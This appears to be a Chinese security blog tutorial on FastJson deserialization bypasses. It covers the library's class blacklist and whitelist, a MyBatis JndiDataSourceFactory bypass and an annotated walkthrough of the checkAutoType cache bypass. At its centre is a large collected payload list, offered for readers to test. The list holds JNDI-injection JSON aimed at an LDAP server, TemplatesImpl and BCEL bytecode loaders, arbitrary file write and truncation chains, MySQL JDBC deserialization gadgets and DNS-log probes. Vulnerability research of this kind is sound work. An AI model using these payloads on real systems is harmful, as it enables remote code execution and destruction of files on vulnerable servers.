1.2.83 -1800035667138631116L 0xe704fd19052b2a34L
1.2.83 4215053018660518963L 0x3a7ee0635eb2bc33L

FastJson 还有一个白名单列表,高版本也内置了一些类:

hash name
0xD4788669A13AE74L java.awt.Rectangle
0xE08EE874A26F5EAFL java.awt.Point
0xDDAAA11FECA77B5EL java.awt.Font
0xB81BA299273D4E6L java.awt.Color
0xA8AAA929446FFCE4L com.alibaba.fastjson.util.AntiCollisionHashMap
0xD0E71A6E155603C1L com.alipay.sofa.rpc.core.exception.SofaTimeOutException
0x9F2E20FB6049A371L java.util.Collections.UnmodifiableMap
0xD45D6F8C9017FAL java.util.concurrent.ConcurrentSkipListMap
0x64DC636F343516DCL java.util.concurrent.ConcurrentSkipListSet
0x7FE2B8E675DA0CEFL org.springframework.dao.CannotAcquireLockException
0xF8C7EF9B13231FB6L org.springframework.dao.CannotSerializeTransactionException
0x42646E60EC7E5189L org.springframework.dao.CleanupFailureDataAccessException
0xCC720543DC5E7090L org.springframework.dao.ConcurrencyFailureException
0xC0FE32B8DC897DE9L org.springframework.dao.DataAccessResourceFailureException
0xDC9583F0087CC2C7L org.springframework.dao.DataIntegrityViolationException
0x5449EC9B0280B9EFL org.springframework.dao.DataRetrievalFailureException
0xEB7D4786C473368DL org.springframework.dao.DeadlockLoserDataAccessException
0x44D57A1B1EF53451L org.springframework.dao.DuplicateKeyException
0xC92D8F9129AF339BL org.springframework.dao.EmptyResultDataAccessException
0x9DF9341F0C76702L org.springframework.dao.IncorrectResultSizeDataAccessException
0xDB7BFFC197369352L org.springframework.dao.IncorrectUpdateSemanticsDataAccessException
0x73FBA1E41C4C3553L org.springframework.dao.InvalidDataAccessApiUsageException
0x76566C052E83815L org.springframework.dao.InvalidDataAccessResourceUsageException
0x61D10AF54471E5DEL org.springframework.dao.NonTransientDataAccessException
0x82E8E13016B73F9EL org.springframework.dao.NonTransientDataAccessResourceException
0xE794F5F7DCD3AC85L org.springframework.dao.OptimisticLockingFailureException
0x3F64BC3933A6A2DFL org.springframework.dao.PermissionDeniedDataAccessException
0x863D2DD1E82B9ED9L org.springframework.dao.PessimisticLockingFailureException
0x4BB3C59964A2FC50L org.springframework.dao.QueryTimeoutException
0x552D9FB02FFC9DEFL org.springframework.dao.RecoverableDataAccessException
0x21082DFBF63FBCC1L org.springframework.dao.TransientDataAccessException
0x178B0E2DC3AE9FE5L org.springframework.dao.TransientDataAccessResourceException
0x24AE2D07FB5D7497L org.springframework.dao.TypeMismatchDataAccessException
0x90003416F28ACD89L org.springframework.dao.UncategorizedDataAccessException
0x73A0BE903F2BCBF4L org.springframework.jdbc.BadSqlGrammarException
0x7B606F16A261E1E6L org.springframework.jdbc.CannotGetJdbcConnectionException
0xAFCB539973CEA3F7L org.springframework.jdbc.IncorrectResultSetColumnCountException
0x4A39C6C7ACB6AA18L org.springframework.jdbc.InvalidResultSetAccessException
0x9E404E583F254FD4L org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException
0x34CC8E52316FA0CBL org.springframework.jdbc.LobRetrievalFailureException
0xB5114C70135C4538L org.springframework.jdbc.SQLWarningException
0x7F36112F218143B6L org.springframework.jdbc.UncategorizedSQLException
0x26C5D923AF21E2E1L org.springframework.cache.support.NullValue
0xD11D2A941337A7BCL org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken
0x4F0C3688E8A18F9FL org.springframework.security.oauth2.common.DefaultOAuth2AccessToken
0xC59AA84D9A94C640L org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken
0x1F10A70EE4065963L org.springframework.util.LinkedMultiValueMap
0x557F642131553498L org.springframework.util.LinkedCaseInsensitiveMap
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x54DC66A59269BAE1L org.springframework.security.web.savedrequest.SavedCookie
0x111D12921C5466DAL org.springframework.security.web.csrf.DefaultCsrfToken
0x19DCAF4ADC37D6D4L org.springframework.security.web.authentication.WebAuthenticationDetails
0x604D6657082C1EE9L org.springframework.security.core.context.SecurityContextImpl
0xF4AA683928027CDAL org.springframework.security.authentication.UsernamePasswordAuthenticationToken
0x92F252C398C02946L org.springframework.security.core.authority.SimpleGrantedAuthority
0x6B949CE6C2FE009L org.springframework.security.core.userdetails.User

JndiDataSourceFactory(1.2.25 - 1.2.46)

这里我们可以通过 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 绕过。

JndiDataSourceFactory 是 MyBatis 的一种 数据源工厂实现,用来从 JNDI(Java Naming and Directory Interface) 里查找并获取 DataSource 对象。我们可以通过下面这个 Maven 坐标引入:

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.5</version>
</dependency>

由于 JndiDataSourceFactory 不在 FastJson 的黑名单中,因此我们可以利用该类完成 JNDI 注入的利用。

JndiDataSourceFactory#setProperties 函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 将外部传入的属性应用到 JNDI 数据源工厂:
// 典型属性键:
// INITIAL_CONTEXT -> 子上下文名(如 "java:comp/env")
// DATA_SOURCE -> 数据源 JNDI 名(如 "jdbc/MyDB" 或完整 "java:comp/env/jdbc/MyDB")
// 以及可选的 JNDI 环境参数(由 getEnvProperties(properties) 提取,例如
// "java.naming.factory.initial", "java.naming.provider.url",
// "java.naming.security.principal", "java.naming.security.credentials" 等)
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
// 从传入的 properties 中提取 JNDI 环境参数(可为 null)。
// - 在 Java EE/容器(Tomcat/WebLogic…)内,通常无需提供 env,使用默认 InitialContext 即可;
// - 在纯 Java SE 场景,可通过 env 指定 provider/url/认证信息以连接远端 JNDI。
Properties env = getEnvProperties(properties);
if (env == null) {
// 不提供 env:使用默认 JNDI 环境,通常由容器预置(最常见)。
initCtx = new InitialContext();
} else {
// 提供 env:基于自定义环境创建 InitialContext(如直连远端 JNDI 服务)。
initCtx = new InitialContext(env);
}

// 两种查找路径:
// 1) 既给了 INITIAL_CONTEXT 又给了 DATA_SOURCE:
// 先在根上下文 lookup 到一个子 Context(如 "java:comp/env"),再在该 Context 下继续 lookup 数据源名(如 "jdbc/MyDB")。
if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
// 2) 仅给了 DATA_SOURCE:
// 直接在根 InitialContext 上按给定名执行 lookup。
// 这里既可以是容器风格的完整名(如 "java:comp/env/jdbc/MyDB"),
// 也可能是其它 JNDI URL(若 env/provider 指向远端目录服务)。
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}

} catch (NamingException e) {
// 将 JNDI 命名异常包装为 MyBatis 自己的 DataSourceException 抛出,便于上层定位配置问题。
throw new DataSourceException(
"There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e
);
}
}

其他 payload

以下为部分在各个途径搜集的 payload,版本自测:

JdbcRowSetImpl

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}

TemplatesImpl

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}

JndiDataSourceFactory

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}

SimpleJndiBeanFactory

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}

DefaultBeanFactoryPointcutAdvisor

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

JndiRefForwardingDataSource

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}

InetAddress

1
2
3
4
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}

Inet6Address

1
2
3
4
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}

URL

1
2
3
4
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

JSONObject

1
2
3
4
5
6
7
8
9
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}

URLReader

1
2
3
4
5
6
7
8
9
10
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

JndiConverter

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}

JndiObjectFactory

1
2
3
4
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

1
2
3
4
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

AutoCloseable MarshalOutputStream 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

1
2
3
4
5
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}

JMSContentInterceptor

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}

ContextClassLoaderSwitcher

1
2
3
4
5
6
7
8
9
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}

OracleManagedConnectionFactory

1
2
3
4
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

1
2
3
4
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}

JDBC4Connection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}

LoadBalancedMySQLConnection

1
2
3
4
5
6
7
8
9
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}

UnpooledDataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"key": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$$l$8b$..."
}
}: "a"
}
}

LoadBalancedMySQLConnection2

1
{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" } } }}

ReplicationMySQLConnection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{
"host":""
}],
"slaves":[],
"properties":{
"host":"127.0.0.1",
"port":"3306",
"user":"yso_CommonsCollections4_calc",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}

基于检测逻辑

缓存绕过(1.2.25-1.2.47)

fastjson ≤ 1.2.47checkAutoType() 有个顺序错误

去缓存里找类(TypeUtils.mappings / deserializers),找到就直接返回后面黑名单/白名单的检查就完全不走了

而我们又可以用一次特殊的 JSON(把 @type 设成 java.lang.Class)来把任意类名先塞进这个缓存

于是第二次再用这个本应在黑名单里的类名发起反序列化时,就被当成“缓存命中”直接放行,实现绕过并利用(例如 JNDI 触发 RCE)。


假设我们构造下面这段 payload,然后传给 com.alibaba.fastjson.JSON#parse 反序列化:

1
2
3
4
5
6
{
"aaa":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
}

com.alibaba.fastjson.JSON#parse 函数反序列化会调用到 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 函数,该函数会针对不同的键执行不同的反序列化逻辑。

其中对于 @type 键,parseObject 函数在处理处理时会考虑 {@type: ..., val: ...} 这种特殊的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/**
* 处理 JSON 对象里的特殊键 "@type"(即 JSON.DEFAULT_TYPE_KEY)。
*
* 作用与流程(重点):
* 1) 若未禁用“特殊键检测”,当读到 "@type":
* - 取出类型名字符串 typeName;
* - 若开启了 IgnoreAutoType:忽略这次类型声明(当作普通字段),继续解析其他键值;
* - 否则调用 ParserConfig.checkAutoType(...) 做安全校验与类型解析,得到 clazz;
* 2) 如果 clazz 为 null:说明该类型不被允许(或未识别)。把 "@type":typeName 当成普通字段存进 map,继续解析。
* 3) 提前读下一个 token:
* - 如果对象就此结束(立刻遇到 '}'),尝试直接“创建一个实例”作为结果返回:
* a. 若该类型的反序列化器是 JavaBeanDeserializer,优先走其 createInstance(...);
* 然后把之前已读到但还在 map 里的字段,逐个写回到该实例对应字段。
* b. 否则按若干兜底规则:Cloneable → new HashMap;Collections$EmptyMap → Collections.emptyMap();
* 其余尝试 clazz.newInstance()。
* - 如果对象未结束(还有内容),则:
* a. 设置 resolveStatus = TypeNameRedirect ←【关键】:告诉后续反序列化器“从 'val' 读取真正的值”
* b. 根据上下文条件 popContext() 一次,清理解析上下文;
* c. 如果在遇到 "@type" 之前已经解析进了一些键值(object.size()>0):
* 先把这些键值用 TypeUtils.cast(...) 转成目标类型的一个实例,然后继续 parseObject(newObj) 补齐剩余字段;
* 最后返回该实例。
* d. 否则(没有已解析字段):定位该类型的反序列化器,做一个小判断后(某些自定义 JavaBean 反序列化器清掉重定向标记),
* 调用 deserializer.deserialze(this, clazz, fieldName) 让它完成后续解析。
*
* 安全要点(与历史漏洞相关):
* - 这里会调用 config.checkAutoType(typeName, ...)。如果攻击者能让危险类型提前进入缓存(TypeUtils.mappings),
* 某些版本的 checkAutoType 会因为“先命中缓存即返回”而绕过后续黑/白名单。
* - 设置 resolveStatus=TypeNameRedirect 后,像处理 Class.class 的 MiscCodec 就会去读 "val",并在
* TypeUtils.loadClass(String, ClassLoader) 的“双参重载”中把类名写入 TypeUtils.mappings(等效 cache=true),
* 为后续的“缓存短路”铺路。
*/
if (key == JSON.DEFAULT_TYPE_KEY // 命中特殊键 "@type"(注意:此处用 ==,依赖 symbolTable 的字符串驻留)
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { // 未禁用特殊键检测

// 读取类型名:从当前 lexer 中扫描一个带引号的字符串作为符号(进入 symbolTable 驻留/复用)
String typeName = lexer.scanSymbol(symbolTable, '"');

// 如果启用了“忽略 AutoType”开关,则直接跳过这次类型声明,把它当作普通键处理
if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue; // 回到外层循环,继续处理下一个键
}

// 解析/确认要用的 Java 类型
Class<?> clazz = null;
if (object != null
&& object.getClass().getName().equals(typeName)) {
// 如果当前对象已经有实例,且其类名恰好等于 typeName,则直接复用该类
clazz = object.getClass();
} else {
// 否则走安全检查与解析:可能触发白/黑名单逻辑,或命中缓存等
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}

// 若未能解析/允许该类型:把 "@type":typeName 当普通字段存进 map,继续解析后面的内容
if (clazz == null) {
map.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}

// 读取下一个 token,目标希望是逗号(fastjson 的 nextToken(期望) 写法)
lexer.nextToken(JSONToken.COMMA);

// 如果紧接着就是对象结束 '}',说明这是一个仅包含 "@type" 的对象(或 "@type" 已经是最后一个键)
if (lexer.token() == JSONToken.RBRACE) {
// [...]
}

// 能走到这,说明对象没有立刻结束(@type 后面还有内容)。
// 【关键】设置“类型名重定向”标记:提示后续反序列化器按“{@type:..., val: ...}”的包装格式,
// 去读取紧随其后的 "val" 作为真正的数据载荷。
this.setResolveStatus(TypeNameRedirect);

// [...]

// 走到这里,说明没什么已解析字段,直接交给该类型的反序列化器去处理后续
ObjectDeserializer deserializer = config.getDeserializer(clazz);

// [...]

// 【关键】交由目标类型的反序列化器完成真正的解析(典型:Class.class → MiscCodec,
// MiscCodec 会看到 TypeNameRedirect,从而去读取 "val")
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
}

{@type: ..., val: ...} 是 fastjson 为了在 JSON 里携带“真实 Java 类型信息”而约定的一种“类型包装格式”

  • @type:写类全名(如 java.net.URLjava.lang.Class、你的业务类等);
  • val:写真正的值(比如一个字符串 URL、类名字符串、或别的标量)。

它的原始用途是:在多态/泛型/Object 等场景里,让反序列化时知道要还原成哪个具体类

ClassURLURIPatternLocaleUUIDTimeZoneSimpleDateFormat 等,本体最自然的 JSON 形态就是一个字符串或简单标量。如果只写 "http://a.b",反序列化端不知道这是该当作 String 还是 URL。于是 fastjson 用类型包装:

1
{"@type":"java.net.URL","val":"http://a.b"}

反序列化端读取 @type → 知道要按 URL 还原;再从 val 拿到真实字符串去 new URL(...)

因此在 parseObject 函数中,这种类型的数据会被交由 derializer 中存储的 clazz 对应的反序列化器解析。

1
2
3
4
5
6
7
8
9
10
// 走到这里,说明没什么已解析字段,直接交给该类型的反序列化器去处理后续
ObjectDeserializer deserializer = config.getDeserializer(clazz);

// [...]

// 【关键】交由目标类型的反序列化器完成真正的解析(典型:Class.class → MiscCodec,
// MiscCodec 会看到 TypeNameRedirect,从而去读取 "val")
Object obj = deserializer.deserialze(this, clazz, fieldName);

return obj;

其中 clazz 来源于 @type 对应的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 读取类型名:从当前 lexer 中扫描一个带引号的字符串作为符号(进入 symbolTable 驻留/复用)
String typeName = lexer.scanSymbol(symbolTable, '"');

// [...]

// 解析/确认要用的 Java 类型
Class<?> clazz = null;
if (object != null
&& object.getClass().getName().equals(typeName)) {
// 如果当前对象已经有实例,且其类名恰好等于 typeName,则直接复用该类
clazz = object.getClass();
} else {
// 否则走安全检查与解析:可能触发白/黑名单逻辑,或命中缓存等
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}

获取 deserializer com.alibaba.fastjson.parser.ParserConfig#getDeserializer 函数本质上是从 com.alibaba.fastjson.parser.ParserConfig#deserializers 中取 type 对应的反序列化器。

1
2
3
4
5
6
7
public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = this.deserializers.get(type);
if (derializer != null) {
return derializer;
}
// [...]
}

ParserConfig 在构造函数中会调用 initDeserializers 函数初始化 deserializers,往里面预先添加一部分 Java 类型及其对应的反序列化器。其中我们传入的 java.lang.Class 对应的是 com.alibaba.fastjson.serializer.MiscCodec

1
2
3
4
5
6
7
8
9
10
11
public class MiscCodec implements ObjectSerializer, ObjectDeserializer {
// [...]
public final static MiscCodec instance = new MiscCodec();
// [...]
}

private void initDeserializers() {
// [...]
deserializers.put(Class.class, MiscCodec.instance);
// [...]
}

com.alibaba.fastjson.serializer.MiscCodec#deserialze 函数的关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
/**
* 反序列化“杂项”类型的统一入口。这个反序列化器负责把“一个 JSON 值”
* 转成很多常见的 Java 类型(Class、File、URI、URL、Locale、Pattern、
* InetAddress、TimeZone、SimpleDateFormat、UUID、JSONPath、java.nio.file.Path 等),
* 以及特殊对象结构(如 InetSocketAddress)。
*
* <p><b>核心语义</b>:
* 1) 普通情况:先把 JSON 解析成一个“原始值”(字符串或 JSONObject),
* 再根据目标类型 clazz 做定制转换。
* 2) 当上游刚解析过 "@type" 并触发“类型名重定向”(resolveStatus=TypeNameRedirect)时,
* 本方法会强制读取紧随其后的键 "val",把它当作真正的值进行处理。
* 典型格式:{"@type":"java.lang.Class","val":"java.lang.String"}
* 3) 当目标类型是 Class.class 时,会把字符串当“类全名”去加载,
* 调用 TypeUtils.loadClass(String, ClassLoader)(双参重载)。
* 按这些版本的实现,该重载内部会导致把类名写进全局缓存 TypeUtils.mappings(cache=true 语义),
* 进而影响后续 checkAutoType() 的决策(命中缓存会提前返回)。
*
* <p><b>参数</b>:
* @param parser fastjson 的默认解析器,持有 lexer(词法分析器)、配置、状态机等
* @param clazz 目标 Java 类型(可能是 Class 对象,也可能是 ParameterizedType 等)
* @param fieldName 字段名(调用场景传入,用于错误定位或差异化处理,本方法基本不使用)
*
* <p><b>返回</b>:
* 把当前输入(一个 JSON 值或对象)转换为类型 T 的实例;不符合期望时抛 JSONException。
*
* <p><b>可能抛出</b>:
* JSONException:当语法不符合期望、目标类型不受支持、或底层构造失败等。
*
* <p><b>示例</b>:
* - 目标类型 URL,JSON: "https://example.com" → new URL("https://example.com")
* - 目标类型 InetSocketAddress,JSON: {"address":"127.0.0.1","port":8080}
* - 目标类型 Class,resolveStatus=TypeNameRedirect 时:
* {"@type":"java.lang.Class","val":"java.lang.String"} → String.class(并写入缓存)
*/
@SuppressWarnings("unchecked")
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
// 从 parser 拿到词法分析器:用于查看/推进当前 token
JSONLexer lexer = parser.lexer;

// [...]

// =========================
// 普通值解析(或者“类型名重定向”场景的后半段)
// 先把“原始值”读出来,命名为 objVal
// =========================
Object objVal;

// 【关键】当上游因为遇到 "@type" 把 resolveStatus 设为 TypeNameRedirect 时,
// 这里按照“固定协议”读取紧随其后的 `"val": <真正的值>`。
// 典型用法:{"@type":"java.lang.Class","val":"com.xxx.YourClass"}
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
// 这个状态只消费一次,用完即清
parser.resolveStatus = DefaultJSONParser.NONE;

// 期望一个逗号,把流从 "@type" 移到下一个键(通常是 "val")
parser.accept(JSONToken.COMMA);

// 强制要求接下来是字符串键名,且必须等于 "val"
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error"); // 不是 "val" 就报语法错
}
lexer.nextToken(); // 吃掉这个键名 token
} else {
throw new JSONException("syntax error"); // 不是字符串键名 → 报错
}

// 必须出现冒号 ':'
parser.accept(JSONToken.COLON);

// 解析 "val" 对应的值(可能是字符串、对象等)
objVal = parser.parse();

// 最后必须以 '}' 结束这个对象
